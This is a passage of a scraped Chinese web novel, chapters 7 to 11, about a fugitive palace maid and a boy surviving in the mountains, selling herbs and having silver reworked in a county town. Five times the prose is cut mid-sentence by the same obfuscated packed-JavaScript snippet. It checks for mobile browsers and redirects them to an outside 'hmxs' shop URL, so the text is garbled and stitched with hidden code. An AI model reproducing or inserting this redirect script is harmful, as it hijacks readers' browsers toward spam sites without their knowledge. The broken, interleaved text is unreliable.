《林娘子市井生活》 7. 第 7 章 林芜藏在草丛后，仔细观察了一阵子，确认没有人，这才低声嘱咐林景藏好，自己则弓着身，轻手轻脚地靠近。 她从因塌陷露出的一个大窟窿往里瞧，里面空间不大，一眼就能瞧完，只见里头昏暗而空荡，除了杂乱的碎草和朽木，几乎空无一物。 许是以前某个山民或猎户暂居的落脚点。 确认安全后，她才回头朝灌木丛的方向点了点头。林景立刻直起腰，迈开步子小跑了过来。 两人在屋内仔细搜寻着。 林芜在墙角找到了几片还算完整的破瓦片，以及一个缺了口的粗陶小罐。她仔细用干藤蔓将它们包好，放入背篓。 “阿芜。”林景突然小声唤她，手指向那被塌下的茅草屋顶半掩着的角落，那里有一张破旧的木板床。 这张床也已经塌了下来，而在床板与地面的缝隙里，压着一抹灰黑色，不仔细瞧还真看不出来。 林芜眼前一亮，上前费力地抬起腐朽的床板，抽出一件有些破烂的粗布短衣。 许是因被木板遮盖，避免了日晒雨淋，这件短衣竟还未完全腐烂。 虽然短衣又脏又破，但看形制，依稀能看出来应是壮年男子的衣物，对他们而言显得十分宽大。 “阿景眼神真好，这个有大用处。”她将短衣使劲儿抖了抖，然后小心叠好，也放入背篓。 林景听到夸奖，有些腼腆地抿嘴笑了笑。 直到将这小小的茅草屋来来回回搜寻了几遍，再无所获，两人才离开。 他们继续沿着植被茂盛的地方走，水流声也越来越清晰。 拨开几丛低矮的灌木，一条窄窄的溪流便映入眼帘，蜿蜒而下，在秋日阳光下闪烁着粼粼波光。 但林芜没有立刻冲过去。她拉住林景，一起躲在灌丛后，仔细观察了溪流两岸足足一刻钟，确认没有任何人类或野兽的足迹和动静后，才拉着林景走到溪边。 小溪清浅见底，水底圆石可见，几尾不起眼的小鱼游弋其中。 见到活水，两人多日来的疲惫似乎都被抚平了些，心情不由得为之一畅。 但林芜却没有立刻捧水就喝。 “这水看着清，但生水里有看不见的细小虫豸，喝了会腹痛呕吐，甚至染上恶疾，”她跟林景解释道，“必须煮滚了才能喝，幸好我们刚才得了个陶罐。” “嗯。”林景虽然渴得喉咙发干，但也乖巧地点点头。 找到了水源，他们接下来的活计远远不止喝水一项。 他们先将路上采摘的野果仔细洗净，又将找到的瓦片和那个粗陶罐里外反复涮洗干净。 林芜还将那件从废屋得来的粗布短衣浸入水中，用力搓洗起来。虽然一些陈年泥渍已经洗不掉，但好在衣物是深色的，并不十分显脏。 时值秋日，山间气温又低。所以尽管浑身已经很脏，他们却不敢冒险用冷水洗澡，一旦感染风寒，在这荒山野岭无异于绝境。 林芜拧干短衣，用它较为干净的一角给两人仔细擦洗了脸颊、脖颈和手臂，连头发也散开擦洗了一遍，还粗略擦了擦身上穿着的外衣。 清冷的溪水带来的洁净感，让人精神一振。 做完这些，她才将洗干净的短衣挂在溪边的枯枝上晾晒。 随后，林芜用藤蔓将剪刀结结实实地绑在木棍的一端，对林景嘱咐道：“你守着东西，我去上游看看能不能弄点鱼来。” 她握着木棍，沿着溪岸上游走了一段，在一处水流稍缓、有鱼影晃动的水域停下。 她举起木棍，看准时机猛地叉下！霎时水花四溅，受惊的鱼群瞬间窜逃。 几次尝试都一无所获。 林芜并不不气馁，继续向上游探寻。 终于，在一处被大石阻挡形成的回水湾，一条反应稍慢的小鱼被她叉中后，晕头转向地被水流冲到了石头边。 林芜急忙上前，弯腰捡起那条小鱼，但目光却被大石底部缠住的一团东西吸引。 那是几件纠缠在一起的破烂衣裳，已经被水流浸泡得有些褪色。 但她此时顾不上这些破烂，而是一鼓作气继续叉着鱼，在一身蛮力之下，她又叉到了两条不幸的小鱼。 她用剪刀利落地刮鳞，划开鱼腹，将内脏仔细清理干净，最后用草茎穿过鱼鳃将鱼系好，放在岸边。 将鱼处理好，她才折返回来，用木棍小心拨弄那团衣物。 衣物大多已破烂不堪，甚至与枯枝烂叶、湿滑的青苔黏连成一团，显然在溪水中浸泡了不短的时日。 看样式，是农家便于劳作的粗布短衣长裤，想来是从上游浆洗的村民手中不慎被水流冲走的，最终被这块大石拦住。 林芜耐心将它们分开。 大部分已破烂到没什么用处，只从中翻捡出一条相对完整的粗布长裤，上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849687|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有几个破洞。 她将这条长裤和几块尚且算是布片的破烂一同仔细清洗干净，拧干。 尽管破烂，但这些粗布对于资源匮乏的他们也大有用处。 两人在溪边停留了约莫半日，洗净的衣裤也变得半干，林芜这才用陶罐装满了一罐清水，和林景一起返程。 一路还算顺利，他们回到了山洞。 洞内堆着他们的物件，外边是一小堆干树枝。虽然简陋，但此刻竟也让他们生出一丝归家般的安心。林景的小脸看着都放松了许多。 林芜拨开保存的火源，添柴吹气，火焰再次燃起。她用几块石头将陶罐稳稳地架在火堆上，将水烧开。 “接下来，咱们该做鱼了。想不到吧，我们在这荒山野岭，竟还能吃鱼。”连日的山林生活，两人适应了不少，林芜的语气里甚至带上了一丝苦中作乐的轻松。 林景的小脸上也露出了些许笑容，用力点了点头。 “不过我们还得找些做鱼的东西，”林芜并未停歇，立刻安排了新活儿，“走，我们去附近挖些干燥硬实的土块回来。” 两人在洞口周围搜寻，拣了些被日头晒得发白、质地紧密的土块。 回来后，林芜一边动手，一边向林景解释：“我们把这些土块搭成个小屋子，在里面烧火，把土块烧得滚烫通红后，把鱼放进去，利用土块把它煨熟。这样烤出来的鱼，又香又嫩。” 她将土块垒成一个类似尖顶窝棚的形状，里头是空的，并留下一个添柴的口子。 林景往那小土窑里添柴烧火，林芜则在一旁继续处理他们的食材。 她认得的调味植物有限，艾蒿气味独特，野山楂带有酸味，想来都能祛腥增香。她便揪了几把艾蒿嫩叶和几颗野山楂塞进鱼腹，再用大阔叶将鱼仔细包裹好，又另外用叶片包进去几段野山药。 在烧了一段时间后，土块间的缝隙飘出橙红火苗，可见内侧已被烧得通红。 “差不多了。”林芜小心掏出土窑里面多余的草灰，然后将那几个叶子包小心塞进里头。 “现在，我们把它埋起来，接下来就能用热气焖熟了。”她说着，用木棍轻轻推倒土窑的顶部，红热的土块随即塌下，将里面的东西埋住。 “我们一起把这些大土块敲碎，让热气裹得更严实些。”她招呼着林景，一起用木棍将大土块敲成小块，严丝合缝地覆盖在叶子包上面。 8. 第 8 章 等待的时间里，空气中渐渐弥漫开一股香气。 估摸着时候差不多了，林芜才小心用木棍刨开已经不再烫手的土块，将那几个被煨得干硬发黄的叶子包扒拉出来。 将叶片掀开开，一股更加明显的热气混着鱼肉的鲜味扑面而来。 她将鱼小心放在当盘子用的瓦片上，每人一条。 用小木棍戳开鱼皮，鱼肉呈现出诱人的奶白色，可见已经熟透。 林芜尝了尝，味道有点怪，但还算能吃。 “好好吃！”一旁的林景却相当捧场，吃得眯起了眼睛。 接着两人又吃了些野山药和野果。有主食，有鱼肉，还有餐后水果，算是很齐全的一顿了。 此时，陶罐里的水也已经变温。 两人就罐口喝了几口，便小心将陶罐放好，用瓦片盖住罐口。 在进入山林第三日，两人已成功实现了温饱。 最初的惊惶无助似乎已经很遥远。 但是林芜看着挂在树枝上晾晒的短衣长裤和那几块破布，陷入了沉思。 虽然一切都还算顺利，但远处的村民是否会入山？他们的踪迹能否一直隐藏？如果野兽来袭怎么办？ 这些未知的风险都是他们目前无法承担的。 最重要的是，此地离京城还不够远。 —— 又一日清晨，两人用昨日剩下的鱼和山药填饱了肚子。 晨光中，林芜像往常一样，对林景说起当日的安排：“今日，我们要往更远处走走。” 她习惯将计划告诉他，让他清楚每天的安排，避免未知带来的不安。 林景仰头听着，他有时候虽然不懂林芜的计划，但都乖乖照做。 “我们要试着找到附近的县城，然后想办法进去。” 林芜话音落下，林景明显愣住了，对他而言，“进城”二字几乎与“自投罗网”划等号。 林芜理解他的担忧，蹲下身，目光与他平视：“我知道这很危险。但阿景，我们要想真正远离京城，只靠双脚是走不掉的。我们必须进入县城，想办法依靠商队或者车马行，才有可能走得更远，才会更安全。” 林景当然也知道，流亡之人需借力而行，只是这何其艰难。但几日相处下来，他知道林芜是个极其谨慎的人。他重重地点了点头。 两人对山洞附近已十分熟悉，在寻到足够的食物后，便往远处探索。 他们的策略依旧是往地势较高的地方走，登高方能望远。 来到一处山脊下，林芜让林景在相对隐蔽的树木后等待，自己则借助岩石和灌木的掩护，小心地向上攀爬。 当她终于气喘吁吁地抵达最高处，拨开遮挡视线的枝叶远眺时，心跳不由得加快。 除了之前看到的那个小村落，在更遥远的地方，隐约可见一片屋舍密集的轮廓，甚至能模糊看到一道环绕的城墙。 “那应该就是县城了。”她想。 然而，自六岁入宫，她对京畿之外的地方也仅仅是知道几个名声较大的地名儿，根本无法判断那究竟是何处。 她仔细记下县城相对于山脉和村落的大致方位，才小心翼翼下来。 将所见告知林景后，小孩陷入了短暂的沉默，随后沮丧地摇了摇头。 他年纪太小，之前更是一直在深宫，少有外出，对外界同样一无所知，此刻只深深感到自己的无力。 “无妨，”林芜看出他的自责，语气放得轻松了些，“无论那是哪里，只要我们做好万全的准备，小心行事，就不会被发现。” 她这话既是在安慰林景，也是在为自己打气。 眼下最现实的问题是，他们身上的钱不多，就算进了城，也不知道那点盘缠够不够。 在这人迹罕至的山林中，若换作任何一个略通药理的人，或许能靠采药换来些许盘缠，但她原先是个文科专业的现代人，来到这里又是个深居宫廷的古代人，对野生植物的认识几乎是空白的，更别说草药了。之所以能认出捻子、野山药和艾蒿，已是托了她小时候在农村生活过的福。 也因此，这几日两人的食谱十分单调，除了鱼肉，来来回回也不过是野山药和几样野果。而且那片山洞附近的野山药也被他们挖得七七八八。还得看看附近有没有别的山药群。 两人沿着来时的路往回走，林景个子矮小，视线自然更多地落在脚下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849688|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枯枝落叶间。走了一段路，他突然停下。 “阿芜，你看看这个，”他指着脚边的一丛植物，“它的叶子是不是和山药有些像？” 林芜弯腰蹲下，仔细端详。那是一株长着心形叶片的植物，乍一看确实与山药叶有几分相似。 但她很快摇了摇头：“不是山药。” 野山药的藤蔓是攀援生长的，而眼前这株却是直立的，叶子看着还有些像番薯叶。 但是根据她在宫廷的见闻，在这个朝代，红薯大概是还没有传入的。 如果真有的话，作为小说必备的高产作物，那女主应该早就找到并且大肆宣扬推广。 林芜又伸手摸了摸叶片，也觉得不像红薯，红薯叶比这个叶子厚。 不过也说不定是类似红薯的高淀粉薯类植物，于是她还是用棍子小心地沿着植株根部掘开泥土，想看个究竟。 刚挖开一点，她就完全确认这既不是红薯也不是山药。里面露出的块茎个头颇大，估计有两个拳头大小。全部挖出来后，拿在手上沉甸甸的，怕是得有两斤多重。 它外形长得有些随心所欲，凹凸不平的，裹着一层深褐色、略显粗糙的外皮。以林芜极其有限的植物常识，完全无法判断这到底是什么东西。 “这是什么？”林景也凑过来，见这丑疙瘩绝非山药，疑惑地望向林芜。 林芜摇了摇头。她取出剪刀，用力在块茎表皮划了一道，立刻有少许浑浊的汁液渗了出来，被划开的内里呈浅褐色，质地看起来更像木头，一点也不像能果腹的食物。 她使劲儿回想自己那点贫瘠的知识储备。 她也算是博览网络群书，好吧，其实主要是网络小说，首先想到的必然是靠采集草药发家致富必备之物——人参和灵芝。 但灵芝很明显是一个错误选项，这东西看着就跟灵芝毫无关系。至于人参，她回想自己曾在中药博物馆看到的人参块茎，人参会很多须须，而且颜色也不是这样，所以肯定也不是人参。 这东西颜色土里土气，印象里有毒的植物大多色彩鲜艳，这个应该没毒吧？ “算了，挖都挖出来了，带着吧。”她将这丑疙瘩塞进了背篓。 9. 第 9 章 接下来的几日，两人除了采集必要的食物和去溪边取水，还特地采了不少野艾蒿回来，摊在洞口向阳的岩石上晾晒，指望着带到县城药铺换些铜钱。 “艾蒿用处很多，”林芜一边翻动着草叶，一边解释，“人们用它驱蚊避秽，城里药铺或许会收。” 虽然晒干了轻飘飘的，一大包也没什么重量，但说不定也比别的野草更容易换到几个铜钱。 她还顺手晒了些薄荷，但薄荷与艾蒿一样，晒干后很轻，蓬松又占地方，携带不便。 相比之下，艾蒿实用性更强，应该也更值钱一些。因此，这些薄荷目前也只被他们用来充当漱口水原料。 林景对这件能赚钱的活计格外上心。 每日晨光初露，他便将装着艾蒿的藤筐抱出来，耐心地将艾蒿在石头上均匀铺开。 待到日头升高，树影偏移，他又会一趟趟地将艾蒿挪到阳光最好的地方，认真地用小手翻动，生怕有一处晒得不透。 闲下来时，他便会坐在旁边的石头上，安静地守着，小手托着腮，圆溜溜的眼睛专注地看看那些逐渐卷曲的叶子，时不时凑近嗅一嗅。瞧这小模样，不知道的还以为是经验老到的小药农。 以至于几日下来，野艾蒿尚未完全干透，林景小朋友那原本白净的小脸倒先被晒得黑扑扑的。 看着林景黑里透红的脸蛋，林芜心下反倒有了几分计较。她非但没想着遮阳，这几日还特意领着林景多在日头下走动。不过旬月之间，两人脸上都已晒得黑黢黢的。加上连日来的劳作，双手也粗糙了不少，与原来的白嫩模样相去甚远。 如今，除了身上虽已破损，但细看仍能辨出是好料子的衣裳，两人看上去也就是五官比寻常村民更周正精致些而已。 天气连日晴好，岩石上的艾蒿与薄荷便渐渐收缩、卷曲，散发出被阳光烘晒过的干燥香气。 而那块偶然挖来的丑疙瘩，已被林芜丢在山洞角落，几乎遗忘了。 在临出发的前一天，林芜将自己从宫里带出来的首饰取出来盘点。 有三片薄薄的金叶子，两支末端缀着小珠的银簪，还有五两碎银和六十二个铜板，这是她全部的家当。 虽然东西很少，但她不禁感到庆幸，自己只是个不起眼的洒扫宫女，手头有的也不过是些宫人的寻常物品，并无特别彰显宫廷身份的纹样或精湛工艺。 “给阿芜。”林景见状，也默默挽起了自己的袖子，伸出两只圆润的小手腕。只见上面戴着一只雕着精巧螭龙纹的翡翠镯子，那小螭龙虽胖乎乎的，但形态灵动，鳞爪须发皆细致入微。 另一只手腕上则是一个沉甸甸的赤金镯，上面刻着繁复的云蝠纹，边缘处还嵌着一圈细小的红宝石，即便在昏暗的光线下，也流转着光华。 林芜看了一眼，便有些发愁。这等材质和工艺，明摆着其主人身份尊贵。莫说拿去变卖，便是露一丝形迹，都可能招来杀身之祸。可这东西她又万万不敢丢弃。 “阿景的东西得先好好藏起来，以后有大用处。”她压下心头的忧虑，帮他把两个镯子都取了下来，然后挖出他那个佩囊，将镯子装进去后，又埋了回去。 接着回来处理这两支银簪。 她拿起那两支银簪，用剪刀将上面缀着的小珍珠撬落。 她将珠子和银簪拿起来，仔细端详。珠子只是普通的淡水珠，簪体也是没有纹路的素银。 不过她仍不放心，于是又拿起剪刀，在簪子各处反复划刻，留下数道杂乱无章的划痕。 林景在一旁看着，眼中满是困惑。 林芜一边用力刮擦，一边低声解释：“这些首饰来自宫里，我担心官匠的技艺有其独特之处，会被眼尖的人认出来。所以，我们现在连金叶子也不能动用，太扎眼了。” 听到这里，林景恍然大悟，随即想到自己那个佩囊里头的东西，小脸微微一白。 “别怕，我们把这些物件藏好就行，银簪还可以拿到城里换钱。”林芜继续着手上的动作，又将簪子拗弯，务求使其面目全非。 —— 次日一大早，吃过简单的朝食，林芜便开始仔细归整行装。 晒干的野艾蒿散发出淡淡的香气，林芜将其用一块从小溪边捡来的破布仔细包好。包的时候，目光瞥见角落里那个被遗忘的丑疙瘩。她顺手拿起来掂了掂，发现它比刚挖出来时轻了不少，外皮也显得更干瘪紧实了些，想来是秋季干燥天气所致。 她心想，反正也不占地方，还可以问问药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849689|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺这是什么。于是也随手用破布一角裹了，塞进艾蒿包里。 昨晚临睡前，他们已挑选了一些品相完好、干净饱满的捻子和野山楂，用阔叶分别包好，放进新编的藤筐里。 林芜不敢多带，她身上铜板不多，最坏的情况便是万一进城需缴纳厘金，这些山货或许能抵数，但量多了反而惹眼。 接下来是最关键的一步，要改换行头。 林芜脱下自己原本的衣裳，尽管这只是宫女服饰，但宫廷织物质地紧密，染色均匀，针脚更是规整得一丝不苟，与民间粗布截然不同。穿这身衣服去县城，无异于自曝身份。 她换上了从废弃茅屋和溪流边捡来的短衣长裤。衣物即便仔细浆洗过，依旧显得破旧宽松，穿在她身上空空荡荡的，完全就是一个贫苦人家的女娘样子。 她又在那堆破烂粗布中剪下一块，将头发在脑后盘成一团后，用这块粗布包裹扎紧，这是常见的妇女包髻发式。 一切准备妥当，她对林景嘱咐道：“阿景，你就在山洞里藏好，千万不要出来。我会从外面把洞口堵严实。在我回来之前，无论听到什么动静，都绝对不能出声，不能出来。”她已在洞里备足了烤山药、野果和一陶罐清水。 “嗯，阿芜你也一定要小心。”林景用力点头，小手不自觉地拽了拽她的衣角。这是他们逃亡以来第一次分开，他的不安比林芜更甚。 “太阳落山前，我一定回来。”林芜握了握他的小手，向他保证。 说完，林景钻进山洞后，她就挪动石头堵住洞口，又仔细地将准备好的灌木枝遮掩在石缝前。 再三确认从外面看不出任何破绽后，她才背起那个破旧的包袱，一手提起藤筐，一手握结实的木棍，一步步向山下走去。 这条下山的路她已经来回观察规划了几日，特意绕开了村居，转而绕向山后人迹罕至的林地。 穿过这片树林，再往前走，便能连接到一条通往县城的小径。 这条小径另一端可通往化人场的，远离村居，平时很少有行人，能最大程度地降低风险。 她走了半个时辰才下到山脚。所幸出发得早，当她沿着规划好的路径穿林涉草，终于踏上那条通往县城的小径时，日头方才升高。 10. 第 10 章 小径上渐渐有了行人。 但这条路似乎并不繁忙，偶有慢吞吞的牛车吱呀呀驶过，但更多的是同她一样步行的村民，背着各式背篓，沉默地埋头赶路，并无多少商旅的喧嚣。 直到她在路上偶然听到两位路过的商人高声交谈，才知其中缘由。 “总算要离开这晦气地方了！”其中一人抱怨道，“这地儿离京城不远，却偏偏挨着偌大一个化人场，整日里焚烟缭绕的，平白惹一身晦气！” 他的也同伴连连附和：“可不是么！若非东家急着要这批货，谁愿意绕到这穷乡僻壤来？这地方也就咱们这些命苦的不得不来，还得走七八日才能回到咱凌州。” 说者无心，听者有意。此地因毗邻焚烧尸骨的化人场而备受嫌弃，行商罕至，故而此地算不上繁华。这对林芜而言，反倒是好事。 凌州……她垂下眼，脚步不停，脑中却飞快地盘算着。 前些年凌州闹过水患，那时殿下曾奉命前去赈灾，这在宫里是件不小的事儿。那地方在京城的东边略偏南一些，有七八日的路程，不远不近。 在她有限的认知里，东偏南方向最远的地方是湖州，宫中最好的丝绢都来自那里，每年由商队千里迢迢送入京城，要走近两个月。 更重要的是，这个能产出如此精美的丝绢，供养庞大商队的州府，必定商贾云集、水路通达。这样的地方，三教九流汇聚，每天都有无数陌生人到来，也有无数人离开。 这是一个富庶且流动频繁的地方，最重要的是那里离京城足够遥远。她心下有了打算。 她学着那些村民的样子，微微佝偻着背，脸上露出低眉顺目的愁苦神色。 想来长途跋涉的辛劳让人提不起精神与陌生人搭话，林芜就这样混在零星的人流里，毫不起眼地走到了城门口。 此时正值早市，进城的人流最为集中。 城门的兵卒忙于疏导，偶尔拦下驾着牛车的商户或者担着大担货物的乡民收取厘金，对于她这样只拎着个小藤筐、背着个破布包袱的乡村妇人，只是随意瞥了一眼便挥手放行。 林芜心中松了一口气，随着人群顺利地走进了城门。 城内景象与她想象的县城颇有些不同。只有一条略显宽阔的主街贯穿东西，街道两旁的房屋大多低矮陈旧，来往行人的衣着也多见补丁，以致于整个街道看上去灰扑扑的，也没什么活力。 她不敢东张西望，只紧紧跟着那些同样提着篮筐、背着蔬菜山货的乡民往前走。 不一会儿，便来到了位于主街中段的一处露天集市。 这里人声稍微嘈杂了一些，地上摆着各式各样的农产品。 林芜寻了个不起眼的角落空地，学着旁边妇人的样子蹲下身，将用阔叶包好的捻子和野山楂小包一一摆开，下面还垫着一块干净的破布，瞧着还算整洁利索。 她有些生涩叫卖起来：“又甜个头又大的捻子，消食开胃的野山楂，瞧一瞧咧……” 她的东西不多，品相却好。捻子紫黑饱满，野山楂红艳干净，分别包了十包和五包。 特地挑拣不值钱的野果来集市上卖的人本就不多，她这干干净净的小包很快引起了注意。 何况她的价格也便宜，野山楂两文一包，捻子一文一包。不过盏茶功夫，便陆续卖了出去，拢共得了二十文钱。 林芜迅速收拾好东西，走出集市，沿着唯一热闹些的主街走动，小心地左右张望，很快就看到了一家药铺。 这家药铺门面阔大，黑漆招牌显眼，想看不到都难。 她背着包袱走了进去。药铺里弥漫着浓郁的草药味，只见一名年轻伙计正靠在柜台边打盹，听见动静，懒洋洋地睁了眼，见是个衣衫褴褛的乡民，又漠不关心地垂下眼皮继续瞌睡。店里还有位穿着长衫的坐馆郎中在给一位老丈把着脉，眼皮都没抬一下，对周遭动静恍若未闻。 林芜径直走到柜台前，朝里面一位正在拨弄算盘的中年男子怯声问道：“掌柜老爷，妇人在山间采了些野艾蒿，晒得干爽，您这儿收不收？” 掌柜还没开口，旁边的伙计就不耐烦地挥手驱赶：“去去去！野艾蒿哪处山沟里没有？不值钱的玩意儿，还占地方！我们药铺有固定的药材行送货，可不是什么阿猫阿狗拿把野草都收的！” 林芜像是被吓着了，立刻缩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849690|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩脖子，低低道了声“得罪”，便慌忙退出了药铺。 她倒没有因那伙计的势利而气恼，只是心想这野艾蒿果然价钱贱，不过来都来了，能卖掉就卖吧，换几个铜钱也好。 她一边想着，一边又沿着街道走了一段路，在一处更为僻静的角落，瞧见了一家更小的药铺。药铺门面窄小，招幌上的字迹已经有些斑驳。 林芜抬脚迈过门槛，看到店内只有一位白发白须的老掌柜，正靠在柜台后闭目养神。 她先是上前轻声唤道：“阿翁。” 老掌柜闻声睁眼，瞧是个提着破布包的穷苦妇女，脸上也无被打扰的不悦，只慢悠悠问：“小娘子有何事？” “阿翁，您这里收不收晒干的野艾蒿？” “野艾蒿？唉，这东西满山遍野都是，费时费力采一箩筐，晒干了却也轻飘飘的，换不来几个铜子，还不如去砍担柴实在哟。” 他嘴上虽这般说着，却还是直起身：“罢了，你既已采来，便拿来我瞧瞧吧。” “多谢阿翁！”林芜连忙谢道，将那个大破布包放到柜台上，动作麻利地摊开，露出里面收拾得干干净净的艾蒿。 老掌柜凑近了些，用手拨弄了几下，点头道：“嗯，收拾得极干净，没混进杂草，晒得也干爽，是用了心的。” 他随手拿起旁边那个裹着丑疙瘩的小布包放到一边，然后拎起大布包掂了掂：“约莫着有八两重。寻常收是一两二文钱，但你这些晒得精心，老夫便算你一两三文，一共二十五文钱，你看如何？” 一担柴约莫七十文，忙活这么久还不值半担柴。林芜这下真切体会到这东西有多不值钱了，但她仍感激道：“谢谢阿翁。” “这个呢？”老掌柜又拿起那个小布包，在手里掂了掂，“份量不大，倒挺压手。也是要卖的？” 林芜腼腆地笑了笑：“阿翁，这也是我在山上找到的，但……” 她话还没说完，老掌柜已经解开了那个小布包。 当那块疙疙瘩瘩的褐色块茎完全露出来时，老掌柜忽然“咦”了一声，凑近细看，有些诧异道：“哎哟！小娘子，这可是有些年头的何首乌！” 11. 第 11 章 他拿起那个丑疙瘩，用指腹轻轻摩挲着表皮，又凑到鼻下嗅了嗅：“还没全干透，不过这阴干的手法还算妥当，没糟践好东西。” 林芜惊呼了一声，不敢置信道：“这、这土疙瘩，还能比野艾蒿值钱？我也不懂这是何物，在山上躲雨时胡乱挖的，拿回屋里放着有些时日了。” 老掌柜瞧着她一身粗布衣裳破破烂烂又不合身，却浆洗得干干净净，额发也被汗水浸湿，黏在颊边，想必是天不亮就从村里赶路过来。想起她方才那包野艾蒿只卖了二十几个铜板，顿时倒也有些怜悯。 “品相不错，一斤七两，”老掌柜拨了拨算盘，温声道，“算你一贯钱可好？” 林芜瞪大了眼睛，像是被这个数目吓到了：“天、天老爷！一贯钱？” 她慌乱地摆着手，又赶紧收回抓住手上的小篮筐，连忙说道：“多谢阿翁！” “若是往后还能寻到，记得要彻底阴干。切忌暴晒，否则药性就差了。”老掌柜耐心嘱咐道。 “记住了，记住了！”林芜连连应声，顺势又问，“对了阿翁，我还在家晒了些野薄荷，不知药铺收不收？” 老掌柜闻言笑了笑，一边取出戥子仔细称好碎银推过来，一边摇头：“薄荷价比艾蒿更廉。这东西生得贱，一长就是一片，寻常药方里用得不多，也就是夏天偶尔有人来配些清凉散，卖不上什么价。” “也是。”林芜心里那点侥幸顿时散了，天上掉馅饼的好事哪有这么多。 她低头看着那银子，犹豫了一会儿，才问：“阿翁……能否换成五钱银子，再兑些铜钱？我过两日得去走亲戚，想买身体面衣裳。” “应该的。”老掌柜和善地应下，很快换了五钱碎银并五百二十五文铜钱推过去。 沉甸甸的铜钱串被林芜小心翼翼揣进怀里时，发出细微的碰撞声。 临出门前，她像是忽然想起什么，又转身小声问道：“阿翁，请问城里可有银匠铺？我想把旧银簪打成两个小手镯。” “出了门往右直行，岔路口左拐进巷子就是何记银铺，”老掌柜热心指路，“老何手艺好，价钱也公道。” 林芜千恩万谢地退出了药铺。直到过了街角，她紧绷的肩膀才微微放松，运气不错，遇上了厚道的掌柜。不知道山中是否还有何首乌，回去可再寻一寻。 按照药铺老掌柜的指点，林芜很快找到了那间藏在巷子深处的小铺面。铺子窄小，门楣低矮，远远就能听到里头传来叮叮当当的敲打声。 她走过去，朝里望了望，只见一位老师傅正低头忙活，一位穿戴体面、发间簪着银钗的大娘正要往外走。 林芜侧身让路，抬脚轻轻迈进门槛，朝那老师傅小声问道：“请问……是否是何阿翁？” “怎的，有何事？”老银匠从活计里抬起头。旁边那位大娘也停下脚步，好奇地望了过来。 “我……我想给亲戚孩子打两个素圈的银手镯，做满月礼。”林芜声音轻细，带着几分局促，“药铺的阿翁说您手艺好，价格也公道。” 这话一出，旁边那位大娘刚迈出门的脚倏地收了回来。她转过身，上下打量着林芜。这妇人年纪不大，一身粗布衣裳洗得发白，还有些破烂，竟说要打一对银手镯，还是给亲戚孩子的？她不由地又往铺子里挪了两步。 “你是自带银料，还是在我这儿出银？”老银匠神色如常，公事公办地问。 “我带了银料，”林芜连忙答道，从布包里小心取出那两支被毁得不成样子的银簪，“阿翁，您瞧这够打两个小孩戴的素圈手镯不？不用太大。” 老银匠还没开口，那伸长脖子往这边探的大娘忍不住“哎哟”一声：“这好好的簪子，怎么糟践成这副模样了？” “家里孩子不懂事，偷翻出来玩耍，又折又划的……等发现时，已是这样了。”林芜局促地移开了视线。 老银匠接过银簪，在手里掂了掂，又轻轻敲了敲：“银料是好的，九成九的足银。一支簪子能打一个小手镯。要雕什么纹样？” “阿翁，雕花和不雕花，在工费上差多少？”林芜小声问道。虽然她肯定是不要任何纹饰的，雕花必有损耗，将来拿去典当就不值钱了。 “雕花自然贵些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849691|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。简单缠枝纹一百文，虎头纹一百五十文，素圈四十文一个。”老银匠一边说，一边端详着那两支银簪。 